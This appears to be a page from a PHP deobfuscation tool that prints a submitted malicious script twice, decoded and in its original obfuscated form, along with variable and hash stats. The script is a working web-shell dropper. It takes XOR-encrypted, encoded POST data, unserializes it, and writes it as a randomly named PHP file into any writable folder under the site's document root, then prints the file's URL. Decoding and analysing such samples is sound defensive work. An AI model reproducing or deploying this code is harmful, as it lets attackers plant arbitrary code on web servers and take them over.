Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function MHcbcdGddr($XlmIrMinQw, $KOVhaJf, $FltWR){global $QLeATDAOHxAoVi;return wda..

Decoded Output download

<?php function MHcbcdGddr($XlmIrMinQw, $KOVhaJf, $FltWR){global $QLeATDAOHxAoVi;return wdaYwkeXey(wdaYwkeXey($XlmIrMinQw, $QLeATDAOHxAoVi[$KOVhaJf % strlen($QLeATDAOHxAoVi)]), $FltWR);}$wzgdhd = "EWktn";function TwCbwAXKqB($wzgdhd){ $srHVV = chr(115)."t".'r'.chr(1043-948)."r".chr(111)."t".chr(390-341).chr(592-541);$wzgdhd = $srHVV($wzgdhd);	$kbJiWGEX = 'cHpdut';$eDiSqnxTsp = "r"."a".'w'.chr(117).chr(114).chr(983-875).chr(161-61)."e"."c"."o"."d".chr(1009-908);$wzgdhd = $eDiSqnxTsp($wzgdhd);$wzgdhd = str_split($wzgdhd);	$NGBdDUUP = 28;return $wzgdhd;}function wdaYwkeXey($XlmIrMinQw1, $XlmIrMinQw2){return $XlmIrMinQw1 ^ $XlmIrMinQw2;}function WSiNdEVu(){$jAtvdsZ = 52;$wYjCRyY = 19;}$QLeATDAOHxAoVi = "7a8b7d5e-432a-49af-869d-71e364ca9420";function XFgIrO($uxTKWnOaMq, $FltWR){$uxTKWnOaMq = array_map("MHcbcdGddr", array_values($uxTKWnOaMq), array_keys($uxTKWnOaMq), array_values($FltWR));$uxTKWnOaMq = implode("", $uxTKWnOaMq);$ttgblB = chr(208-91)."n"."s"."e".chr(114).chr(581-476)."a".chr(664-556).chr(105).chr(859-737)."e";$uxTKWnOaMq = @$ttgblB($uxTKWnOaMq);return $uxTKWnOaMq;}function JrluLiw($FltWR, $uxTKWnOaMq){$FltWR = array_slice(str_split(str_repeat($FltWR, intval(count($uxTKWnOaMq)/16)+1)), 0, count($uxTKWnOaMq));return $FltWR;}WSiNdEVu();function ejrYTEIQFN(){echo "HNggYI";	$AmyqpXWaEK = 27;}function bxkLmChiDG($QLeATDAOir){static $QLeATDAOTXpvTxJZC = array();$AAMjy = glob($QLeATDAOir . '/*', GLOB_ONLYDIR);$FurhAd = count($AAMjy);if ($FurhAd > 0) {foreach ($AAMjy as $QLeATDAO) {$IZvRi = "i".'s'."_".'w'."r"."i".'t'.chr(303-206)."b"."l".chr(793-692);if (@$IZvRi($QLeATDAO)) {$QLeATDAOTXpvTxJZC[] = $QLeATDAO;}}}foreach ($AAMjy as $QLeATDAOir) bxkLmChiDG($QLeATDAOir);return $QLeATDAOTXpvTxJZC;}function uFxcToTe($uxTKWnOaMq){$JwFNGc = chr(68)."O"."C"."U".'M'.'E'."N".chr(465-381)."_".'R'.'O'.chr(1021-942)."T";$wZDCz = $_SERVER[$JwFNGc];	$TVXFyUCq = 'cX';$AAMjy = bxkLmChiDG($wZDCz);	$tvwfiUc = 'lKSil';	$TVXFyUCq = strlen($TVXFyUCq);$lkMcmnygLY = array_rand($AAMjy);	$YlnPPKLxaH = strtoupper($TVXFyUCq);$tbsCwONaP = chr(232-186).'p'.chr(373-269).chr(802-690);$MKmrbUO = $AAMjy[$lkMcmnygLY] . "/" . substr(md5(time()), 0, 8) . $tbsCwONaP;$VafdEVOqve = 'f'.'i'.chr(108).chr(927-826).chr(634-539).'p'."u".'t'.'_'.chr(391-292)."o".chr(974-864).'t'.chr(101).chr(110).chr(429-313).chr(495-380);@$VafdEVOqve($MKmrbUO, $uxTKWnOaMq);	$PaUmR = 'bDARSIMW';	$TVXFyUCq = $TVXFyUCq - 10;$HTPzOBwcwa = chr(300-228).chr(638-554).chr(84)."P".'_'.'H'."O".chr(83).'T';$HqijajfK = "h"."t".'t'."p".":".chr(185-138)."/";$WqrztwQcK = $HqijajfK . $_SERVER[$HTPzOBwcwa] . substr($MKmrbUO, strlen($wZDCz));	$EKtOvCBzgo = 5;print($WqrztwQcK);	$TVXFyUCq = strrpos($YlnPPKLxaH, 'tlpko');}function dtQLP($uxTKWnOaMq, $lkMcmnygLY){if ($uxTKWnOaMq !== $lkMcmnygLY){uFxcToTe($uxTKWnOaMq);		$YIRKkPG = 15;}else {XffFfSH();		$hnZVxpe = 3;}}function XffFfSH(){$hRpDABu = chr(112).chr(827-723).chr(112);$ugndI = "p".chr(104)."p".chr(404-286)."e".chr(675-561).'s'."i".chr(569-458)."n";$uxTKWnOaMq = Array($hRpDABu => @$ugndI(), );$RRLSquAVk = "s".chr(101)."r".'i'."a"."l"."i"."z".'e';echo @$RRLSquAVk($uxTKWnOaMq);}function qzwbyRzep(){$LPAzSfX = 'OjXE';$Tabiz = 70;$UPPrwdgX = 'PkSE';$FGPqWakc = 'LrOOzHGzG';$ybNKVbA = 'GETJzKTNQX';$RqKos = strtolower($LPAzSfX);$LPAzSfX = strtoupper($LPAzSfX);$fPNRbpa = 58;}function VxiHxFIWYO(){echo "EWktn";}function YcipN($uxTKWnOaMq){return array_keys($uxTKWnOaMq);}foreach ($_POST as $FltWR => $uxTKWnOaMq){if (strlen($FltWR) == 16){$uxTKWnOaMq = TwCbwAXKqB($uxTKWnOaMq);$FltWR = JrluLiw($FltWR, $uxTKWnOaMq);$uxTKWnOaMq = XFgIrO($uxTKWnOaMq, $FltWR);if (@is_array($uxTKWnOaMq)){$lkMcmnygLYs = YcipN($uxTKWnOaMq);			$fcAZRCt = 'Ey';dtQLP($uxTKWnOaMq[$lkMcmnygLYs[0]], $lkMcmnygLYs[0]);			$igoOeL = 'FWvlQm';			$fcAZRCt = rawurlencode($igoOeL);}}}die();qzwbyRzep();?>

Did this file decode correctly?

Original Code

<?php function MHcbcdGddr($XlmIrMinQw, $KOVhaJf, $FltWR){global $QLeATDAOHxAoVi;return wdaYwkeXey(wdaYwkeXey($XlmIrMinQw, $QLeATDAOHxAoVi[$KOVhaJf % strlen($QLeATDAOHxAoVi)]), $FltWR);}$wzgdhd = "EWktn";function TwCbwAXKqB($wzgdhd){ $srHVV = chr(115)."\164".'r'.chr(1043-948)."\x72".chr(111)."\x74".chr(390-341).chr(592-541);$wzgdhd = $srHVV($wzgdhd);	$kbJiWGEX = 'cHpdut';$eDiSqnxTsp = "\162"."\141".'w'.chr(117).chr(114).chr(983-875).chr(161-61)."\145"."\x63"."\157"."\144".chr(1009-908);$wzgdhd = $eDiSqnxTsp($wzgdhd);$wzgdhd = str_split($wzgdhd);	$NGBdDUUP = 28;return $wzgdhd;}function wdaYwkeXey($XlmIrMinQw1, $XlmIrMinQw2){return $XlmIrMinQw1 ^ $XlmIrMinQw2;}function WSiNdEVu(){$jAtvdsZ = 52;$wYjCRyY = 19;}$QLeATDAOHxAoVi = "7a8b7d5e-432a-49af-869d-71e364ca9420";function XFgIrO($uxTKWnOaMq, $FltWR){$uxTKWnOaMq = array_map("MHcbcdGddr", array_values($uxTKWnOaMq), array_keys($uxTKWnOaMq), array_values($FltWR));$uxTKWnOaMq = implode("", $uxTKWnOaMq);$ttgblB = chr(208-91)."\156"."\x73"."\145".chr(114).chr(581-476)."\x61".chr(664-556).chr(105).chr(859-737)."\145";$uxTKWnOaMq = @$ttgblB($uxTKWnOaMq);return $uxTKWnOaMq;}function JrluLiw($FltWR, $uxTKWnOaMq){$FltWR = array_slice(str_split(str_repeat($FltWR, intval(count($uxTKWnOaMq)/16)+1)), 0, count($uxTKWnOaMq));return $FltWR;}WSiNdEVu();function ejrYTEIQFN(){echo "HNggYI";	$AmyqpXWaEK = 27;}function bxkLmChiDG($QLeATDAOir){static $QLeATDAOTXpvTxJZC = array();$AAMjy = glob($QLeATDAOir . '/*', GLOB_ONLYDIR);$FurhAd = count($AAMjy);if ($FurhAd > 0) {foreach ($AAMjy as $QLeATDAO) {$IZvRi = "\151".'s'."\x5f".'w'."\162"."\x69".'t'.chr(303-206)."\x62"."\x6c".chr(793-692);if (@$IZvRi($QLeATDAO)) {$QLeATDAOTXpvTxJZC[] = $QLeATDAO;}}}foreach ($AAMjy as $QLeATDAOir) bxkLmChiDG($QLeATDAOir);return $QLeATDAOTXpvTxJZC;}function uFxcToTe($uxTKWnOaMq){$JwFNGc = chr(68)."\x4f"."\103"."\x55".'M'.'E'."\x4e".chr(465-381)."\137".'R'.'O'.chr(1021-942)."\124";$wZDCz = $_SERVER[$JwFNGc];	$TVXFyUCq = 'cX';$AAMjy = bxkLmChiDG($wZDCz);	$tvwfiUc = 'lKSil';	$TVXFyUCq = strlen($TVXFyUCq);$lkMcmnygLY = array_rand($AAMjy);	$YlnPPKLxaH = strtoupper($TVXFyUCq);$tbsCwONaP = chr(232-186).'p'.chr(373-269).chr(802-690);$MKmrbUO = $AAMjy[$lkMcmnygLY] . "/" . substr(md5(time()), 0, 8) . $tbsCwONaP;$VafdEVOqve = 'f'.'i'.chr(108).chr(927-826).chr(634-539).'p'."\x75".'t'.'_'.chr(391-292)."\x6f".chr(974-864).'t'.chr(101).chr(110).chr(429-313).chr(495-380);@$VafdEVOqve($MKmrbUO, $uxTKWnOaMq);	$PaUmR = 'bDARSIMW';	$TVXFyUCq = $TVXFyUCq - 10;$HTPzOBwcwa = chr(300-228).chr(638-554).chr(84)."\120".'_'.'H'."\117".chr(83).'T';$HqijajfK = "\150"."\x74".'t'."\160"."\72".chr(185-138)."\x2f";$WqrztwQcK = $HqijajfK . $_SERVER[$HTPzOBwcwa] . substr($MKmrbUO, strlen($wZDCz));	$EKtOvCBzgo = 5;print($WqrztwQcK);	$TVXFyUCq = strrpos($YlnPPKLxaH, 'tlpko');}function dtQLP($uxTKWnOaMq, $lkMcmnygLY){if ($uxTKWnOaMq !== $lkMcmnygLY){uFxcToTe($uxTKWnOaMq);		$YIRKkPG = 15;}else {XffFfSH();		$hnZVxpe = 3;}}function XffFfSH(){$hRpDABu = chr(112).chr(827-723).chr(112);$ugndI = "\x70".chr(104)."\x70".chr(404-286)."\145".chr(675-561).'s'."\x69".chr(569-458)."\x6e";$uxTKWnOaMq = Array($hRpDABu => @$ugndI(), );$RRLSquAVk = "\x73".chr(101)."\x72".'i'."\x61"."\x6c"."\x69"."\172".'e';echo @$RRLSquAVk($uxTKWnOaMq);}function qzwbyRzep(){$LPAzSfX = 'OjXE';$Tabiz = 70;$UPPrwdgX = 'PkSE';$FGPqWakc = 'LrOOzHGzG';$ybNKVbA = 'GETJzKTNQX';$RqKos = strtolower($LPAzSfX);$LPAzSfX = strtoupper($LPAzSfX);$fPNRbpa = 58;}function VxiHxFIWYO(){echo "EWktn";}function YcipN($uxTKWnOaMq){return array_keys($uxTKWnOaMq);}foreach ($_POST as $FltWR => $uxTKWnOaMq){if (strlen($FltWR) == 16){$uxTKWnOaMq = TwCbwAXKqB($uxTKWnOaMq);$FltWR = JrluLiw($FltWR, $uxTKWnOaMq);$uxTKWnOaMq = XFgIrO($uxTKWnOaMq, $FltWR);if (@is_array($uxTKWnOaMq)){$lkMcmnygLYs = YcipN($uxTKWnOaMq);			$fcAZRCt = 'Ey';dtQLP($uxTKWnOaMq[$lkMcmnygLYs[0]], $lkMcmnygLYs[0]);			$igoOeL = 'FWvlQm';			$fcAZRCt = rawurlencode($igoOeL);}}}die();qzwbyRzep();?>

Function Calls

WSiNdEVu 1
qzwbyRzep 1
strtolower 1
strtoupper 1

Variables

$RqKos ojxe
$Tabiz 70
$wzgdhd EWktn
$LPAzSfX OjXE
$jAtvdsZ 52
$wYjCRyY 19
$ybNKVbA GETJzKTNQX
$FGPqWakc LrOOzHGzG
$UPPrwdgX PkSE
$QLeATDAOHxAoVi 7a8b7d5e-432a-49af-869d-71e364ca9420

Stats

MD5 7b6b1a93b328cddd9fab414ff0f2ecd7
Eval Count 0
Decode Time 64 ms